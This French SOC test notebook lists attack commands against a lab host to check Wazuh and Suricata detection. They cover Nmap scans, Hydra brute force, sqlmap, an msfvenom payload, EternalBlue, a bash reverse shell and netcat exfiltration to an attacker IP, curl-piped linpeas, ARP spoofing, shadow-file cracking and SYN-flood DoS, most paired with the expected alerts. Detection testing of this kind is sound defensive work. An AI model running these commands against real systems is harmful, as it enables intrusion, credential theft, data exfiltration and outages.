

Cahier d'Attaques : Validation SOC

Déploiement, Intégration et Stress-Test de l'Écosystème Wazuh & Suricata

Contexte Opérationnel : Ce document technique regroupe l'arsenal d'outils et de commandes utilisés pour éprouver la détection de notre architecture de sécurité. Toutes les cibles ont été adaptées à notre environnement réseau (Machine Cible : **10.115.126.28**).

1. Reconnaissance Réseau (Nmap)

La première étape consiste à identifier les ports ouverts et les services actifs sur la machine cible.

```
# Découverte simple (Ping)
ping 10.115.126.28

# Scan agressif avec détection d'OS et vulnérabilités
sudo nmap -A -T4 -v 10.115.126.28
nmap -sV -sC -O -p- 10.115.126.28
nmap -A --script vuln 10.115.126.28
```



Détection Wazuh/Suricata : Alertes "Host discovery" ou "Port scanning". Signatures ET SCAN ciblant les requêtes de Nmap.

2. Attaques par Force Brute (Hydra)

Simulation de compromission des identifiants (SSH, FTP, RDP, Web) via dictionnaire.

```
# SSH Brute Force (Port 22)
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.115.126.28 -t 4

# FTP Brute Force (Port 21)
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://10.115.126.28

# RDP Brute Force (Port 3389)
hydra -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.115.126.28

# HTTP POST Form (Formulaire de connexion Web)
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.115.126.28 http-post-form "/
login:user=^USER^&pass=^PASS^:F=incorrect"
```



Détection Wazuh : Alertes de Niveau 10 : "sshd: brute force trying to get access" ou "PAM Multiple failed logins".


3. Attaques Web et Injections SQL

Ciblage de l'application Web pour l'exploitation de bases de données et l'énumération.

```
# Scan de vulnérabilités web (Nikto)
nikto -h http://10.115.126.28

# Énumération de répertoires (Gobuster / Dirb)
dirb http://10.115.126.28 /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.115.126.28 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# Injection SQL (SQLMap)
sqlmap -u "http://10.115.126.28/page?id=1" --dbs --batch
sqlmap -u "http://10.115.126.28/login" --data="user=admin&pass=test" --dbs
```

 **Détection Suricata** : Détection de "SQL injection attempt" via les règles WEB_SERVER, identifiant les techniques Time-based et Boolean-blind.

4. Exploitation et Reverse Shell (Metasploit)

Génération de payload et exploitation de failles pour obtenir un accès initial.

```
# Payload MSFVenom (Création d'un exécutable malveillant)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.115.126.104 LPORT=4444 -f exe -o payload.exe

# Exploitation via Metasploit (ex: SMB EternalBlue MS17-010)
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.115.126.28
set LHOST 10.115.126.104
run


# Reverse Shell Bash (Linux)
bash -i >& /dev/tcp/10.115.126.104/4444 0>&1
```

5. Post-Exploitation : Escalade & Perte d'Intégrité

Abus de privilèges et modification de fichiers système critiques une fois l'accès obtenu.

```
# Escalade de privilèges via Sudo et énumération
sudo -l
sudo /bin/bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Attaque d'intégrité (File Integrity Monitoring)
sudo echo "HACKED" >> /etc/hosts
```

 **Détection Wazuh** : Le module FIM signale "Integrity checksum changed" sur /etc/hosts. Le module d'audit détecte "Successful sudo to ROOT".

6. MITM, Credential Dumping & Exfiltration

Extraction des secrets (passwords/hashees) et transfert des données vers l'attaquant.

```
# Sniffing & ARP Poisoning (Arpspoof / tcpdump)
arpspoof -i eth0 -t 10.115.126.28 10.115.126.1
tcpdump -i eth0 host 10.115.126.28

# Credential Dumping (Mimikatz / Unshadow)
unshadow /etc/passwd /etc/shadow > hashes.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Exfiltration de données via Netcat
nc 10.115.126.104 9999 < /etc/passwd
```

7. Test de Rupture : Dénî de Service (DoS)

Test ultime de saturation réseau pour évaluer les limites de l'architecture défensive.

```
# SYN Flood (hping3) - Attaque volumétrique (stopper après 15 sec)
sudo hping3 -S --flood -V -p 80 10.115.126.28

# Slowloris
slowloris 10.115.126.28
```



Détection Wazuh : Saturation du traitement. Alerte Niveau 9 (Règle 203) : "Agent event queue is full. Events may be lost."